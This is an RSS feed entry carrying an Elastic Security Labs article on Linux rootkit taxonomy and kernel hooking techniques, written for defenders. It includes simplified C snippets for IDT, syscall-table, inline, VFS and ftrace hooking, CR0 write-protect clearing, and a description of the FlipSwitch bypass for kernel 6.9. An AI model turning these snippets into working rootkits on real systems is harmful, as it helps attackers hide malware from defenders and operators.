<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Elastic Security Labs - Articles by Remco Sprooten</title>
        <link>https://www.elastic.co/es/security-labs</link>
        <description>Trusted security news &amp; research from the team at Elastic.</description>
        <lastBuildDate>Thu, 12 Mar 2026 18:55:41 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>Elastic Security Labs - Articles by Remco Sprooten</title>
            <url>https://www.elastic.co/es/security-labs/assets/security-labs-thumbnail.png</url>
            <link>https://www.elastic.co/es/security-labs</link>
        </image>
        <copyright>© 2026. Elasticsearch B.V. All Rights Reserved</copyright>
        <item>
            <title><![CDATA[Hooked on Linux: Rootkit Taxonomy, Hooking Techniques and Tradecraft]]></title>
            <link>https://www.elastic.co/es/security-labs/linux-rootkits-1-hooked-on-linux</link>
            <guid>linux-rootkits-1-hooked-on-linux</guid>
            <pubDate>Thu, 05 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[In this first part of a two-part series, we explore Linux rootkit taxonomy, trace their evolution from userland shared object hijacking and kernel-space loadable kernel module hooking to modern eBPF- and io_uring-powered techniques.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>This is part one of a two-part series on Linux rootkits. In this first installment, we focus on the theory behind how rootkits work: their taxonomy, evolution, and the hooking techniques they use to subvert the kernel. In part two, we shift to the defensive side and dive into detection engineering, covering practical approaches to identifying and responding to these threats in production environments.</p>
<h2>What Are Rootkits?</h2>
<p>Rootkits are stealthy malware designed to conceal malicious activity, such as files, processes, network connections, kernel modules, or accounts. Their primary purposes are persistence and evasion, allowing attackers to maintain long-term access to high-value targets like servers, infrastructure, and enterprise systems. Unlike other forms of malware, rootkits focus on remaining undetected rather than immediately pursuing objectives.</p>
<h2>How Do Rootkits Work?</h2>
<p>Rootkits manipulate the operating system to alter how it presents information to users and security tools. They operate in user space or within the kernel. User-space rootkits modify user-level processes using techniques such as <code>LD_PRELOAD</code> or library hijacking. Kernel-space rootkits run with the highest privileges, modifying kernel structures, intercepting syscalls, or loading malicious modules. This deep integration gives them powerful evasion capabilities but increases operational risk.</p>
<h2>Why Are Rootkits Difficult to Detect?</h2>
<p>Kernel-space rootkits can manipulate core OS functions, subverting security tools and obscuring artifacts from userland visibility. They often leave minimal traces of their presence in the system, avoiding obvious indicators such as new processes or files, making traditional detection difficult. Identifying rootkits often requires memory forensics, kernel integrity checks, or telemetry below the OS level.</p>
<h2>Why Rootkits Are a Double-Edged Sword for Attackers</h2>
<p>While rootkits offer stealth and control, they carry operational risks. Kernel rootkits must be precisely tailored to kernel versions and environments. Mistakes, such as mishandling memory or incorrectly hooking syscalls, can cause system crashes (kernel panics), immediately exposing the attacker. At the very least, these failures draw unwanted attention to the system—a scenario the attacker is actively trying to avoid to maintain their foothold.</p>
<p>Kernel updates also present challenges: changes to APIs, memory structures, or syscalls can break rootkit functionality, making persistence vulnerable. Detection of suspicious modules or hooks typically triggers deep forensic investigation, as rootkits strongly indicate targeted, high-skill attacks. For attackers, rootkits are high-risk, high-reward tools; for defenders, this fragility offers opportunities for detection through low-level monitoring.</p>
<h2>Windows vs Linux Rootkits</h2>
<h3>The Windows Rootkit Ecosystem</h3>
<p>Windows is the primary focus for rootkit development. Attackers exploit kernel hooks, drivers, and undocumented syscalls for hiding malware, stealing credentials, and persistence. A mature research community and widespread usage in enterprise environments drive ongoing innovation, including techniques like DKOM, PatchGuard bypasses, and bootkits.</p>
<p>Robust security tools and Microsoft’s hardening efforts push attackers toward increasingly sophisticated methods. Windows remains attractive due to its dominance on enterprise endpoints and consumer devices.</p>
<h3>The Linux Rootkit Ecosystem</h3>
<p>Linux rootkits have historically received less attention. Fragmentation across distributions and kernel versions complicates detection and development. While academic research exists, much tooling is outdated, and production Linux environments often lack specialized monitoring.</p>
<p>However, Linux’s role in cloud, containers, IoT, and High Performance Computing has made it a growing target. Real-world Linux rootkits have been observed in attacks on cloud providers, telecoms, and governments. Key challenges for attackers include:</p>
<ul>
<li>Diverse kernels hinder cross-distribution compatibility.</li>
<li>Long uptimes prolong kernel mismatches.</li>
<li>Security features like SELinux, AppArmor, and module signing increase difficulty.</li>
</ul>
<p>Unique Linux threats include:</p>
<ul>
<li><strong>Containers &amp; Kubernetes</strong>: new persistence vectors via container escape.</li>
<li><strong>IoT devices</strong>: outdated kernels with minimal monitoring.</li>
<li><strong>Production servers</strong>: headless systems lacking user interaction, reducing visibility.</li>
</ul>
<p>With Linux dominating modern infrastructure, rootkits represent an under-monitored yet escalating threat. Improving detection, tooling, and research into Linux-specific techniques is increasingly urgent.</p>
<h2>Evolution of Linux Rootkit Implementation Models</h2>
<p>Over the past two decades, Linux rootkits have evolved from basic userland techniques to advanced, kernel-resident implants leveraging modern kernel interfaces like <code>eBPF</code> and <code>io_uring</code>. Each stage in this evolution reflects both attacker innovation and defender response, pushing rootkit designs toward greater stealth, flexibility, and resilience.</p>
<p>This section outlines that progression, including key characteristics, historical context, and real-world examples.</p>
<h3>Early 2000s: Shared Object (SO) Userland Rootkits</h3>
<p>The earliest Linux rootkits operated entirely in user space without requiring kernel modification, relying on techniques like <code>LD_PRELOAD</code> or the manipulation of shell profiles to inject malicious shared objects into legitimate binaries. By intercepting standard libc functions such as <code>opendir</code>, <code>readdir</code>, and <code>fopen</code>, these rootkits could manipulate the output of diagnostic tools like <code>ps</code>, <code>ls</code>, and <code>netstat</code>. While this approach made them easier to deploy, their reliance on userland hooks meant they were limited in stealth and scope compared to kernel-level implants; they were easily disrupted by simple reboots or configuration resets. Prominent examples include the <a href="https://github.com/chokepoint/jynxkit">Jynx rootkit (2009)</a>, which hooked <code>libc</code> functions to hide files and connections, and <a href="https://github.com/chokepoint/azazel">Azazel (2013)</a>, which combined shared object injection with optional kernel-mode features. The foundational techniques for this dynamic linker abuse were famously detailed in <a href="https://phrack.org/issues/61/8">Phrack Magazine #61</a>  back in 2003.</p>
<h3>Mid-2000s-2010s: Loadable Kernel Module (LKM) Rootkits</h3>
<p>As defenders became adept at spotting userland manipulations, attackers migrated into the kernel space via Loadable Kernel Modules (LKMs). Although LKMs are legitimate extensions, malicious actors utilize them to operate with full privileges, hooking the <code>sys_call_table</code>, manipulating <code>ftrace</code>, or altering internal linked lists to hide processes, files, sockets, and even the rootkit itself. While LKMs offer deep control and powerful concealment capabilities, they face significant scrutiny in hardened environments. They are detectable via tainted kernel states, listings in <code>/proc/modules</code>, or specialized LKM scanners, and are increasingly hindered by modern defenses like Secure Boot, module signing, and Linux Security Modules (LSMs). Classic examples of this era include <a href="https://github.com/yaoyumeng/adore-ng">Adore-ng (2004+)</a>, a syscall-hooking LKM capable of hiding itself; <a href="https://github.com/m0nad/Diamorphine">Diamorphine (2016)</a>, a popular hooker that remains functional on many distributions; and <a href="https://codeberg.org/hardenedvault/Reptile-vault-range">Reptile (2020)</a>, a modern variant featuring backdoor capabilities.</p>
<h3>Late 2010s: eBPF-Based Rootkits</h3>
<p>To evade the growing detection of LKM-based threats, attackers began abusing eBPF, a subsystem originally built for safe packet filtering and kernel tracing. Since Linux 4.8+, eBPF has evolved into a programmable in-kernel virtual machine capable of attaching code to syscall hooks, kprobes, tracepoints, or Linux Security Module events. These implants run in kernel space but avoid traditional module loading, allowing them to bypass standard LKM scanners like <code>rkhunter</code> and <code>chkrootkit</code>, as well as Secure Boot restrictions. Because they do not appear in <code>/proc/modules</code> and are essentially invisible to typical module audit mechanisms, they require <code>CAP_BPF</code> or <code>CAP_SYS_ADMIN</code> (or rare unprivileged BPF access) to deploy. This era is defined by tools like <a href="https://github.com/h3xduck/TripleCross">Triple Cross (2022)</a>, a proof-of-concept that injects eBPF programs to hook syscalls like <code>execve</code>, and <a href="https://github.com/krisnova/boopkit">Boopkit (2022)</a>, which implements a covert C2 channel entirely via eBPF, alongside numerous Defcon presentations exploring the topic.</p>
<h3>2025s and Beyond: io_uring-Based Rootkits (Emerging)</h3>
<p>The most recent evolution capitalizes on <code>io_uring</code>, a high-performance asynchronous I/O interface introduced in Linux 5.1 (2019) that allows processes to batch system operations via shared memory rings. While designed to reduce syscall overhead for performance, red teamers have demonstrated that <code>io_uring</code> can be abused to create stealthy userland agents or kernel-context rootkits that evade syscall-based EDRs. By using <code>io_uring_enter</code> to batch file, network, and process operations, these rootkits produce far fewer observable syscall events, frustrating traditional detection mechanisms and avoiding the restrictions placed on LKMs and eBPF. Although still experimental, examples like <a href="https://github.com/MatheuZSecurity/RingReaper">RingReaper (2025)</a>, which uses <code>io_uring</code> to stealthily replace common syscalls like <code>read</code>, <code>write</code>, <code>connect</code>, and <code>unlink</code>, and <a href="https://www.armosec.io/blog/io_uring-rootkit-bypasses-linux-security/">research by ARMO</a> highlight this as a highly promising vector for future rootkit development that is hard to trace without custom instrumentation.</p>
<p>The Linux rootkit design has consistently adapted in response to better defenses. As LKM loading becomes more difficult and syscall auditing becomes more advanced, attackers have turned to alternative interfaces such as eBPF and <code>io_uring</code>. With this evolution, the battle is no longer just about detection, but about understanding the mechanisms rootkits use to blend into the system’s core, starting with their hooking strategies and internal architecture.</p>
<h2>Rootkit Internals and Hooking Techniques</h2>
<p>Understanding the architecture of Linux rootkits is essential for detection and defense. Most rootkits follow a modular design with two main components:</p>
<ul>
<li><strong>Loader</strong>: Installs or injects the rootkit and may establish persistence. While not strictly necessary, a separate loader component is often seen in malware infection chains that deploy rootkits.</li>
<li><strong>Payload</strong>: Performs malicious actions such as hiding files, intercepting syscalls, or covert communications.</li>
</ul>
<p>Payloads rely heavily on hooking techniques to alter execution flow and achieve stealth.</p>
<h2>Rootkit Loader Component</h2>
<p>The loader is the component responsible for transferring the rootkit into memory, initializing its execution, and in many cases, establishing persistence or escalating privileges. Its role is to bridge the gap between initial access (e.g., via exploit, phishing, or misconfiguration) and full rootkit deployment.</p>
<p>Depending on the rootkit model, the loader may operate entirely in user space, interact with the kernel through standard system interfaces, or bypass operating system protections altogether. Broadly, loaders can be categorized into three classes: malware-based droppers, userland rootkit initializers, and custom kernel-space loaders. Additionally, rootkits may be loaded manually by an attacker through userspace tooling such as <code>insmod</code>.</p>
<h3>Malware-Based Droppers</h3>
<p>Malware droppers are lightweight programs, often deployed after initial access, whose sole purpose is to download or unpack a rootkit payload and execute it. These droppers typically operate in user space but escalate privileges and interact with kernel-level features.</p>
<p>Common techniques include:</p>
<ul>
<li><strong>Module injection</strong>: Writing a malicious <code>.ko</code> file to disk and invoking <code>insmod</code> or <code>modprobe</code> to load it as a kernel module.</li>
<li><strong>Syscall wrapper:</strong> Using a wrapper around <code>init_module()</code> or <code>finit_module()</code> to load an LKM directly through syscalls.</li>
<li><strong>In-memory injection</strong>: Leveraging interfaces such as <code>ptrace</code> or <code>memfd_create</code>, often avoiding disk artifacts.</li>
<li><strong>BPF-based loading</strong>: Using utilities like <code>bpftool</code>, <code>tc</code>, or direct <code>bpf()</code> syscalls to load and attach eBPF programs to kernel tracepoints or LSM hooks.</li>
</ul>
<h3>Userland Loaders</h3>
<p>In the case of Shared Object rootkits, the loader may be limited to modifying user configuration or environment settings:</p>
<ul>
<li><strong>Dynamic linker abuse</strong>: Setting <code>LD_PRELOAD=/path/to/rootkit.so</code> allows the malicious shared object to override libc functions when the target binary executes.</li>
<li><strong>Persistence via profile modification</strong>: Inserting preload configurations into <code>.bashrc</code>, <code>.profile</code>, or global files such as <code>/etc/profile</code> ensures continued execution across sessions.</li>
</ul>
<p>While these loaders are trivial in implementation, they remain effective in weakly defended environments or as part of multi-stage infection chains.</p>
<h3>Custom Kernel Loaders</h3>
<p>Advanced rootkits may include custom kernel loaders designed to bypass standard module loading paths entirely. These loaders interact directly with low-level kernel interfaces or memory devices to write the rootkit into memory, often evading kernel audit logs or module signature verification.</p>
<p>For example, Reptile includes a userspace binary as a loader, allowing it to load the rootkit without invoking <code>insmod</code> or <code>modprobe</code>; however, it still relies on the <code>init_mod</code> syscall for loading the module into memory.</p>
<h3>Additional Loader Capabilities</h3>
<p>The malware loader often assumes an expanded role beyond simple initialization, becoming a multifunctional component of the attack chain. A key step for these advanced loaders is Elevating Privileges, in which they seek root access before loading the primary payload, often by exploiting local kernel vulnerabilities, a common tactic exemplified by the &quot;Dirty Pipe&quot; vulnerability (CVE-2022-0847). Once privileges are secured, the loader is then tasked with covering tracks. This involves a process of wiping evidence of execution by clearing entries from critical files like <code>bash_history</code>, kernel logs, audit logs, or the system's main <code>syslog</code>. Finally, to guarantee re-execution upon system restart, the loader ensures persistence by installing mechanisms such as <code>systemd</code> units, <code>cron</code> jobs, <code>udev</code> rules, or modifications to initialization scripts. These multifunctional behaviors often blur the distinction between a mere &quot;loader&quot; and full-fledged malware, especially in complex, multi-stage infections.</p>
<h2>Payload Component</h2>
<p>The payload delivers core functionality: stealth, control, and persistence. There are several primary methods an attacker might use. User-space payloads, often referred to as SO rootkits, operate by hijacking standard C library functions like <code>readdir</code> or <code>fopen</code> via the dynamic linker. This allows them to manipulate the output of common system tools such as <code>ls</code>, <code>netstat</code>, and <code>ps</code>. While they are generally easier to deploy, their operational scope is limited.</p>
<p>In contrast, kernel-space payloads operate with full system privileges. They can hide files and processes directly from <code>/proc</code>, manipulate the networking stack, and modify kernel structures. A more modern approach involves eBPF-based rootkits, which leverage in-kernel bytecode attached to syscall tracepoints or Linux Security Module (LSM) hooks. These kits offer stealth without requiring out-of-tree modules, making them particularly effective in environments with Secure Boot or module signing policies. Tools like <code>bpftool</code> simplify their loading, thereby complicating detection. Finally, <code>io_uring</code>-based payloads exploit asynchronous I/O batching via <code>io_uring_enter</code> (available in Linux 5.1 and later) to bypass traditional syscall monitoring. This allows for stealthy file, network, and process operations while minimizing telemetry exposure.</p>
<h2>Linux Rootkits – Hooking Techniques</h2>
<p>Building on that essential foundation, we now turn to the core of most rootkit functionality: hooking. At its essence, hooking involves intercepting and altering the execution of functions or system calls to conceal malicious activity or inject new behaviors. By diverting the normal flow of code, rootkits can hide files and processes, filter out security events, or secretly monitor the system, often without leaving obvious clues. Hooking can be implemented in both userland and kernel space, and over the years, attackers have devised numerous hooking techniques, from legacy methods to modern evasive maneuvers. In this part, we will provide a deep dive into common hooking techniques used by Linux rootkits, illustrating each method with examples and real-world rootkit samples (such as <a href="https://codeberg.org/hardenedvault/Reptile-vault-range">Reptile</a>, <a href="https://github.com/m0nad/Diamorphine">Diamorphine</a>, <a href="https://www.elastic.co/es/security-labs/declawing-pumakit">PUMAKIT</a>, and, more recently, <a href="https://github.com/1337-42/FlipSwitch-dev/">FlipSwitch</a>) to understand how they work and how kernel evolution has challenged them.</p>
<h3>The Concept of Hooking</h3>
<p>At a high level, hooking is the practice of intercepting a function or system call invocation and redirecting it to malicious code. By doing so, a rootkit can modify the returned data or behavior to hide its presence or tamper with system operations. For example, a rootkit might hook the syscall that lists files in a directory (<code>getdents</code>), making it skip over any filenames that match the rootkit’s own files, thus making those files “invisible” to user commands like <code>ls</code>.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/linux-rootkits-1-hooked-on-linux/image1.png" alt="Figure 1: Overview of getdents() syscall hooking flow by loadable kernel module rootkit." /></p>
<p>Hooking is not confined to kernel internals; it can also occur in user space. Early Linux rootkits operated entirely in userland by injecting malicious shared objects into processes. Techniques like using the dynamic linker’s <code>LD_PRELOAD</code> environment variable allow a rootkit to override standard C library functions (e.g., <code>getdents</code>, <code>readdir</code>, and <code>fopen</code>) in user programs. This means when a user runs a tool like <code>ps</code> or <code>netstat</code>, the rootkit’s injected code intercepts calls to list processes or network connections and filters out the malicious ones. These userland hooks require no kernel privileges and are relatively simple to implement.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/linux-rootkits-1-hooked-on-linux/image2.png" alt="Figure 2: Overview of readdir() function hooking flow by shared object rootkit." /></p>
<p>Notable examples include <a href="https://github.com/chokepoint/jynxkit">JynxKit (2012)</a> and <a href="https://github.com/chokepoint/azazel">Azazel (2014)</a>, user-mode rootkits that hook dozens of <code>libc</code> functions to hide processes, files, network ports, and even enable backdoors. However, userland hooking has significant limitations: it’s easier to detect and remove, and it lacks the deep control that kernel-level hooks have. As a result, most modern and “in the wild” Linux rootkits have shifted to kernel space hooking, despite the higher complexity and risk, because kernel hooks can comprehensively trick the operating system and security tools at a low level.</p>
<p>In the kernel, hooking typically means altering kernel data structures or code so that when the kernel tries to execute a particular operation (say, open a file or make a system call), it invokes the rootkit’s code instead of (or in addition to) the legitimate code. Over the years, Linux kernel developers have introduced stronger protections to guard against unauthorized modifications, but attackers have responded with increasingly sophisticated hooking methods. Below, we’ll examine the major hooking techniques in kernel space, starting from older methods (now largely obsolete) and progressing to modern techniques that attempt to bypass contemporary kernel defenses. Each subsection will explain the technique, show a simplified code example, and discuss its usage in known rootkits and its limitations given today’s Linux safeguards.</p>
<h3>Hooking Techniques in the Kernel</h3>
<h4>Interrupt Descriptor Table (IDT) Hooking</h4>
<p>One of the earliest kernel hooking tricks on Linux was to target the Interrupt Descriptor Table (IDT). On 32-bit x86 Linux, system calls used to be invoked via a software interrupt (<code>int 0x80</code>). The IDT is a table that maps interrupt numbers to handler addresses. By modifying the IDT entry for <code>0x80</code>, a rootkit could hijack the system call entry point before the kernel’s own system call dispatcher gets control. In other words, when any program triggered a syscall via <code>int 0x80</code>, the CPU would jump to the rootkit’s custom handler first, allowing the rootkit to filter or redirect calls at the very lowest level. Below is a simplified code example of IDT hooking (for illustration purposes):</p>
<pre><code class="language-c">// Install the IDT hook
static int install_idt_hook(void) {
    // Get pointer to IDT table
    idt_table = get_idt_table();

    // Save original syscall handler (int 0x80 = entry 128)
    original_syscall_entry = idt_table[0x80];

    // Calculate original handler address
    original_syscall_handler = (void*)(
        (original_syscall_entry.offset_high &lt;&lt; 16) |
        original_syscall_entry.offset_low
    );

    // Install our hook
    idt_table[0x80].offset_low = (unsigned long)custom_int80_handler &amp; 0xFFFF;
    idt_table[0x80].offset_high =
        ((unsigned long)custom_int80_handler &gt;&gt; 16)
        &amp; 0xFFFF;

    // Keep same selector and attributes as original
    // idt_table[0x80].selector and type_attr remain unchanged

    printk(KERN_INFO &quot;IDT hook installed at 0x80\n&quot;);
    return 0;
}

</code></pre>
&lt;center&gt;*IDT hijacking code example*&lt;/center&gt;
<p>The above code sets a new handler for interrupt <code>0x80</code>, redirecting execution flow to the rootkit’s handler before any syscall handling occurs. This allows the rootkit to intercept or modify syscall behavior entirely below the level of the syscall table. IDT hooking is used by educational and older rootkits such as <a href="https://phrack.org/issues/58/7">SuckIT</a>.</p>
<p>IDT hooking is mostly a historical technique now. It only worked on older Linux systems that use the <code>int 0x80</code> mechanism (32-bit x86 kernels before Linux 2.6). Modern 64-bit Linux uses the <code>sysenter</code>/<code>syscall</code> instructions instead of the software interrupt, so the IDT entry for <code>0x80</code> is no longer used for system calls. Additionally, IDT hooking is highly architecture-specific (x86 only) and is not effective on modern kernels with x86_64 or other architectures.</p>
<h4>Syscall Table Hooking</h4>
<p>Syscall table hooking is a classic rootkit technique that involves modifying the kernel's system call dispatch table, known as the <code>sys_call_table</code>. This table is an array of function pointers where each entry corresponds to a specific syscall number. By overwriting a pointer in this table, an attacker can redirect a legitimate syscall, such as <code>getdents64</code>, <code>kill</code>, or <code>read</code>, to a malicious handler. An example is displayed below.</p>
<pre><code class="language-c">asmlinkage int (*original_getdents64)(
    unsigned int,
    struct linux_dirent64 __user *,
    unsigned int);

asmlinkage int hacked_getdents64(
    unsigned int fd,
    struct linux_dirent64 __user *dirp,
    unsigned int count)
{
    int ret = original_getdents64(fd, dirp, count);
    // Filter hidden entries from dirp
    return ret;
}

write_cr0(read_cr0() &amp; ~0x10000); // Disable write protection
sys_call_table[__NR_getdents64] = hacked_getdents64;
write_cr0(read_cr0() | 0x10000); // Re-enable write protection

</code></pre>
&lt;center&gt;*Syscall table hijacking code example*&lt;/center&gt;
<p>In the example, to modify the table, a kernel module would first need to disable write protection on the memory page where the table resides. The following assembly code (as seen in Diamorphine) demonstrates how the 20th bit (Write Protect) of the <code>CR0</code> control register can be cleared, even though the <code>write_cr0</code> function is no longer exported to modules:</p>
<pre><code class="language-c">static inline void
write_cr0_forced(unsigned long val)
{
    unsigned long __force_order;

    asm volatile(
        &quot;mov %0, %%cr0&quot;
        : &quot;+r&quot;(val), &quot;+m&quot;(__force_order));
}

</code></pre>
&lt;center&gt;*Control register (cr0) clearing code example*&lt;/center&gt;
<p>Once write protection is disabled, the address of a syscall in the table can be replaced with the address of a malicious function. After the modification, write protection is re-enabled. Notable examples of rootkits that used this technique include Diamorphine, Knark, and Reveng_rtkit. Syscall table hooking has several limitations:</p>
<ul>
<li>Kernel hardening (since 2.6.25) hides <code>sys_call_table</code>.</li>
<li>Kernel memory pages were made read-only (<code>CONFIG_STRICT_KERNEL_RWX</code>).</li>
<li>Security features like Secure Boot and the kernel lockdown mechanism can hinder modifications to CR0.</li>
</ul>
<p>The most definitive mitigation came with Linux kernel 6.9, which fundamentally changed how syscalls are dispatched on the x86-64 architecture. Before version 6.9, the kernel executed syscalls by directly looking up the handler in the <code>sys_call_table</code> array:</p>
<pre><code class="language-c">// Pre-v6.9 Syscall Dispatch
asmlinkage const sys_call_ptr_t sys_call_table[] = {
    #include &lt;asm/syscalls_64.h&gt;
};

</code></pre>
&lt;center&gt;*Syscall execution in Linux kernels before version 6.9*&lt;/center&gt;
<p>Starting with kernel 6.9, the syscall number is used in a switch statement to find and execute the appropriate handler. The <code>sys_call_table</code> still exists but is only populated for compatibility with tracing tools and is no longer used in the syscall execution path.</p>
<pre><code class="language-c">// Kernel v6.9+ Syscall Dispatch
long x64_sys_call(const struct pt_regs *regs, unsigned int nr)
{
    switch (nr) {
    #include &lt;asm/syscalls_64.h&gt;
    default: return __x64_sys_ni_syscall(regs);
    }
};

</code></pre>
&lt;center&gt;*Syscall execution in Linux kernels after version 6.9*&lt;/center&gt;
<p>As a result of this architectural change, overwriting function pointers in the <code>sys_call_table</code> on kernels 6.9 and newer does not affect syscall execution, rendering the technique entirely ineffective. While this led us to assume that syscall table patching was no longer viable, we recently published the <a href="https://github.com/1337-42/FlipSwitch-dev/"><strong>FlipSwitch</strong></a> technique, which demonstrates that this vector is far from dead. This method leverages specific register manipulation gadgets to momentarily disable kernel write-protection mechanisms, effectively allowing an attacker to bypass the &quot;immutability&quot; of the modern syscall path and reintroduce hooks even within these hardened environments.</p>
<p>Instead of targeting the data-based <code>sys_call_table</code>, FlipSwitch focuses on the compiled machine code of the kernel's new syscall dispatcher function, <code>x64_sys_call</code>. Because the kernel now uses a massive switch-case statement to execute syscalls, each syscall has a hardcoded <code>call</code> instruction within the dispatcher's binary. FlipSwitch scans the memory of the <code>x64_sys_call</code> function to locate the specific &quot;signature&quot; of a target syscall, typically an <code>0xe8</code> opcode (the <code>CALL</code> instruction) followed by a 4-byte relative offset that points to the original, legitimate handler.</p>
<p>Once this call site is identified within the dispatcher, the rootkit uses gadgets to clear the Write Protect (WP) bit in the CR0 control register, granting temporary write access to the kernel's executable code segments. The original relative offset is then overwritten with a new offset pointing to a malicious, adversary-controlled function. This effectively &quot;flips the switch&quot; at the point of dispatch, ensuring that whenever the kernel attempts to execute the target syscall through its modern switch-statement path, it is redirected to the rootkit instead. This enables reliable, precise syscall interception that persists despite the 6.9 kernel’s architectural hardening.</p>
<h4>Inline Hooking / Function Prologue Patching</h4>
<p>Inline hooking is an alternative to hooking via pointer tables. Instead of modifying a pointer in a table, inline hooking patches the code of the target function itself. The rootkit writes a jump instruction at the start (prologue) of a kernel function, which diverts execution to the rootkit’s own code. This technique is akin to function hot-patching or the way user-mode hooks on Windows work (e.g., modifying the first bytes of a function to jump to a detour).</p>
<p>For example, a rootkit might target a kernel function like <code>do_sys_open</code> (which is part of the open file syscall handling). By overwriting the first few bytes of <code>do_sys_open</code> with an <code>x86 JMP</code> instruction to malicious code, the rootkit ensures that whenever <code>do_sys_open</code> is called, it jumps into the rootkit’s routine instead. The malicious routine can then execute whatever it wants (e.g., check if the filename to open is on a hidden list and deny access), and optionally call the original <code>do_sys_open</code> to proceed with normal behavior for non-hidden files.</p>
<pre><code class="language-c">unsigned char *target = (unsigned char *)kallsyms_lookup_name(&quot;do_sys_open&quot;);
unsigned long hook = (unsigned long)&amp;malicious_function;
int offset = (int)(hook - ((unsigned long)target + 5));
unsigned char jmp[5] = {0xE9};
memcpy(&amp;jmp[1], &amp;offset, 4);

// Memory protection omitted for brevity
memcpy(target, jmp, 5);

asmlinkage long malicious_function(
    const char __user *filename,
    int flags, umode_t mode) {
    printk(KERN_INFO &quot;do_sys_open hooked!\n&quot;);
    return -EPERM;
}

</code></pre>
&lt;center&gt;*Inline hooking code example*&lt;/center&gt;
<p>This code overwrites the beginning of <code>do_sys_open()</code> with a <code>JMP</code> instruction that redirects execution to malicious code. The open-source rootkit Reptile extensively uses inline function patching via a custom framework called KHOOK (which we will discuss shortly).</p>
<p>Reptile’s inline hooks target functions like <code>sys_kill</code> and others, enabling backdoor commands (e.g., sending a specific signal to a process triggers the rootkit to elevate privileges or hide the process). Another example is Suterusu, which also applied inline patching for some of its hooks.</p>
<p>Inline hooking is fragile and high-risk: overwriting a function’s prologue is sensitive to kernel version and compiler differences (so hooks often need per-build patches or runtime disassembly), it can easily crash the system if instructions or concurrent execution aren’t handled correctly, and it requires bypassing modern memory protections (<code>W^X</code>, <code>CR0 WP</code>, module signing/lockdown) or exploiting vulnerabilities to make kernel text writable.</p>
<h4>Virtual Filesystem Hooking</h4>
<p>The Virtual Filesystem (VFS) layer in Linux provides an abstraction for file operations. For example, when you read a directory (like <code>ls /proc</code>), the kernel will eventually call a function to iterate over directory entries. File systems define their own file_operations with function pointers for actions like <code>iterate_shared</code> (to list directory contents) or read/write for file I/O. VFS hooking involves replacing these function pointers with rootkit-provided functions to manipulate how the filesystem presents data.</p>
<p>In essence, a rootkit can hook into the VFS to hide files or directories by filtering them out of directory listings. A common trick: hook the function that iterates directory entries, and make it skip any file names that match a certain pattern. The <code>file_operations</code> structure for directories (particularly in <code>/proc</code> or <code>/sys</code>) is a frequent target, since hiding malicious processes often involves hiding entries under <code>/proc/&lt;pid&gt;</code>.</p>
<p>Consider this example hook for a directory listing function:</p>
<pre><code class="language-c">static iterate_dir_t original_iterate;

static int malicious_filldir(
    struct dir_context *ctx,
    const char *name, int namelen,
    loff_t offset, u64 ino,
    unsigned int d_type)
{
    if (!strcmp(name, &quot;hidden_file&quot;))
        return 0; // Skip hidden_file
    return ctx-&gt;actor(ctx, name, namelen, offset, ino, d_type);
}

static int malicious_iterate(struct file *file, struct dir_context *ctx)
{
    struct dir_context new_ctx = *ctx;
    new_ctx.actor = malicious_filldir;
    return original_iterate(file, &amp;new_ctx);
}

// Hook installation
file-&gt;f_op-&gt;iterate = malicious_iterate;

</code></pre>
&lt;center&gt;*VFS hooking code example*&lt;/center&gt;
<p>This replacement function filters out hidden files during directory listing operations. By hooking at the VFS level, the rootkit doesn’t need to tamper with system call tables or low-level assembly; it simply piggybacks on the filesystem interface. <a href="https://github.com/yaoyumeng/adore-ng">Adore-NG</a>, a once-popular Linux rootkit, employed VFS hooking to hide files and processes. It patched the function pointers for directory iteration to conceal entries for specific PIDs and filenames. Many other kernel rootkits have similar code to hide themselves or their artifacts via VFS hooks.</p>
<p>VFS hooking is still widely used, but it has limitations due to changes in kernel structure offsets between versions, which can lead to hooks breaking.</p>
<h4>Ftrace-Based Hooking</h4>
<p>Modern Linux kernels include a powerful tracing framework called ftrace (function tracer). Ftrace is intended for debugging and performance analysis, allowing one to attach hooks (callbacks) to almost any kernel function entry or exit without modifying the kernel code directly. It works by dynamically modifying kernel code at runtime in a controlled manner (often by patching in a lightweight trampoline that calls the tracing handler). Importantly, ftrace provides an API for kernel modules to register trace handlers, as long as certain conditions are met (like having the kernel built with ftrace support and the debugfs interface available).</p>
<p>Rootkits have started abusing ftrace to implement hooks in a less obvious way. Instead of manually writing a <code>JMP</code> into a function, a rootkit can ask the kernel’s ftrace machinery to do it on its behalf; essentially “legitimizing” the hook. This means the rootkit doesn’t have to find the function’s address or modify page protections; it simply registers a callback for the function name it wants to intercept, and the kernel installs the hook.</p>
<p>Here’s a simplified example of using ftrace to hook the <code>mkdir</code> system call handler:</p>
<pre><code class="language-c">static int __init hook_init(void) {
    target_addr = kallsyms_lookup_name(SYSCALL_NAME(&quot;sys_mkdir&quot;));
    if (!target_addr) return -ENOENT;
    real_mkdir = (void *)target_addr;

    ops.func = ftrace_thunk;
    ops.flags = FTRACE_OPS_FL_SAVE_REGS
        | FTRACE_OPS_FL_RECURSION_SAFE
        | FTRACE_OPS_FL_IPMODIFY;

    if (ftrace_set_filter_ip(&amp;ops, target_addr, 0, 0)) return -EINVAL;
    return register_ftrace_function(&amp;ops);
}

</code></pre>
&lt;center&gt;*Ftrace hooking code example*&lt;/center&gt;
<p>This hook intercepts the <code>sys_mkdir</code> function and reroutes it through a malicious handler. Recent rootkits such as <a href="https://github.com/carloslack/KoviD">KoviD</a>, <a href="https://github.com/MatheuZSecurity/Singularity">Singularity</a>, and <a href="https://github.com/h3xduck/Umbra">Umbra</a> have utilized ftrace-based hooks. These rootkits register ftrace callbacks on various kernel functions (including syscalls) to either monitor or manipulate them.</p>
<p>The main advantage of ftrace hooking is that it leaves no obvious footprints in global tables or patched code. The hooking is done via legitimate kernel interfaces. To an untrained eye, everything looks normal; <code>sys_call_table</code> is intact, function prologues are not manually overwritten by the rootkit (they are overwritten by the ftrace mechanism, but that is a common and allowed occurrence in a kernel with tracing enabled). Also, ftrace hooks can often be enabled/disabled on the fly and are inherently less intrusive than manual patching.</p>
